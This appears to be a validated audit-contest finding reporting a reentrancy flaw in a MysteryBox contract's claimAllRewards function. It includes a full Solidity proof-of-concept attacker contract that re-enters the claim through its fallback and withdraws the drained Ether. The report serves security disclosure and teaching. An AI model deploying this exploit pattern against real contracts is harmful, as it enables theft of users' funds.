Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrany attack in `claimAllRewards`.

0xethsol

Summary

claimAllRewards functions are called externally by anyone. And also this function can be called double by malicious actors. Because updating state variables is implemented after transfer function. So malicious actors can withdraw several times if earned rewards.

Vulnerability Details

For testing, change the openBox function of major contract.

function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
​
// Generate a random number between 0 and 99
//uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
​
// Determine the reward based on probability
/* if (randomValue < 75) {
// 75% chance to get Coal (0-74)
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
// 20% chance to get Bronze Coin (75-94)
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
// 4% chance to get Silver Coin (95-98)
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
// 1% chance to get Gold Coin (99)
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
*/
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
boxesOwned[msg.sender] -= 1;
}

And implement mock malicious contract like this:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "./MysterBox.sol"; // Import the MysteryBox contract
​
contract ReentrancyAttack {
MysteryBox public mysteryBox;
address public owner;
uint256 public attackCount;
​
constructor(address _mysteryBoxAddress) {
mysteryBox = MysteryBox(_mysteryBoxAddress);
owner = msg.sender;
}
​
// This function will be used to initiate the attack by claiming all rewards
function attackClaimAllRewards() public payable {
require(msg.value >= mysteryBox.boxPrice(), "Insufficient ETH to buy a box");
// Buy a mystery box to get rewards
mysteryBox.buyBox{value: msg.value}();
mysteryBox.openBox();
​
// Claim all rewards to trigger the reentrancy
mysteryBox.claimAllRewards();
}
​
// This fallback function will be triggered on receiving Ether and will re-enter the claim function
fallback() external payable {
if (attackCount < 2) { // Limit re-entrancy to 2 loops to avoid running out of gas
attackCount++;
mysteryBox.claimAllRewards(); // Reenter claim function
}
}
​
// Function to withdraw stolen Ether
function withdraw() public {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
​
receive() external payable {}
}
​

And deploy two contracts(major contract, mock contract), and if calling claimAllRewardsfunction, and then calling the withdrawfunction, as a result, malicious actor withdraw the double rewards except gas fees and price of the box buying.

Tools Used

Remix IDE

Recommendations

Sensitive functions like claimAllRewards, claimSingleRewardsshould implement reentrancy guards.

Updates

Appeal created

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.